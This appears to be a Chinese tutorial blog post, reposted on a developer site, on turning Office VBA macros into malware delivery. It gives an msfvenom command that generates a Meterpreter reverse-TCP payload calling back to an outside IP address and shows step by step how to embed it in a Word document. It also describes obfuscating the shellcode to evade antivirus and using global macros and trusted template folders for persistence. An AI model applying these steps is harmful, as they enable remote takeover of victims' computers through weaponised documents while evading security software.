office宏

栏目: ASP.NET · 发布时间: 7年前

内容简介:office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OL

0x00 宏 - Macro

office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。也可说是一种应用程式视觉化的Basic 脚本。该语言于1993年由微软公司开发的的应用程序共享一种通用的自动化语言-Visual Basic for Application(VBA),实际上VBA是寄生于VB应用程序的版本。

0x01 生成宏

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=71.19.144.69 LPORT=8899 -f vba -o try.vba

使用msf就可以生成宏代码,接下来只要放入word或者excel、ppt即可。

0x02 创建宏

新建一个文档,另存为“启用宏的Word文档”:

office宏

视图-查看宏:

office宏

随便输入一个宏名称,点击“创建”:

office宏

此时进入宏编辑器:

office宏

将msf生成的payload放入:

office宏

保存文件,关闭,再打开即可执行宏代码。

0x03 宏代码分析

msf生成默认的vba会导入三个api函数,常见的shellcode加载器代码:

office宏

  • CreateThread 创建线程
  • VirtualAlloc 申请虚拟内存空间
  • RtlMoveMemory 拷贝内存
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
VOID RtlMoveMemory(
  VOID * Destination,
  VOID * Source,
  DWORD Length
);

其中 Array(72,131,228,240,232,... 就是shellcode,混淆的办法有很多种。

shellcode可以自己在VBA里解码或者比如每个元素自增1,运行的时候-1,达到免杀…

0x04 效果

在线地址: https://www.bilibili.com/video/av52532639/

0x05 拓展分析

如果创建的是全局宏,Office会在这个目录生成一个dotm文档:

C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Templates

office宏

全局宏是对于当前计算机所有文档对象有效,即文档本身不包含宏代码,也可以运行全局宏。

office宏

很遗憾,全局宏没有一个固定的名称,也就是说要先通过Office创建一个全局宏,然后其他文档打开时才可以执行代码。

office宏

经过测试,这个全局宏中的文件: vbaProject.bin 是包含了特征的文件,但是反病毒软件不会扫描这个文件,除非主动查杀。

这个特性可能可以达到维持权限的作用。

后来才发现我使用的还是全局宏达到的免杀

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\Trusted Locations

同过PorcessMonitor分析,从注册表找到几个授信目录:

  • %APPDATA%\Microsoft\Templates
  • C:\Program Files\Microsoft Office\Root\Templates\
  • %APPDATA%\Microsoft\Addins
  • C:\Program Files\Microsoft Office\Root\Document Themes 16\

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Numerical Methods and Methods of Approximation in Science and En

Numerical Methods and Methods of Approximation in Science and En

Karan Surana / CRC Press / 2018-10-31

ABOUT THIS BOOK Numerical Methods and Methods of Approximation in Science and Engineering prepares students and other readers for advanced studies involving applied numerical and computational anal......一起来看看 《Numerical Methods and Methods of Approximation in Science and En》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具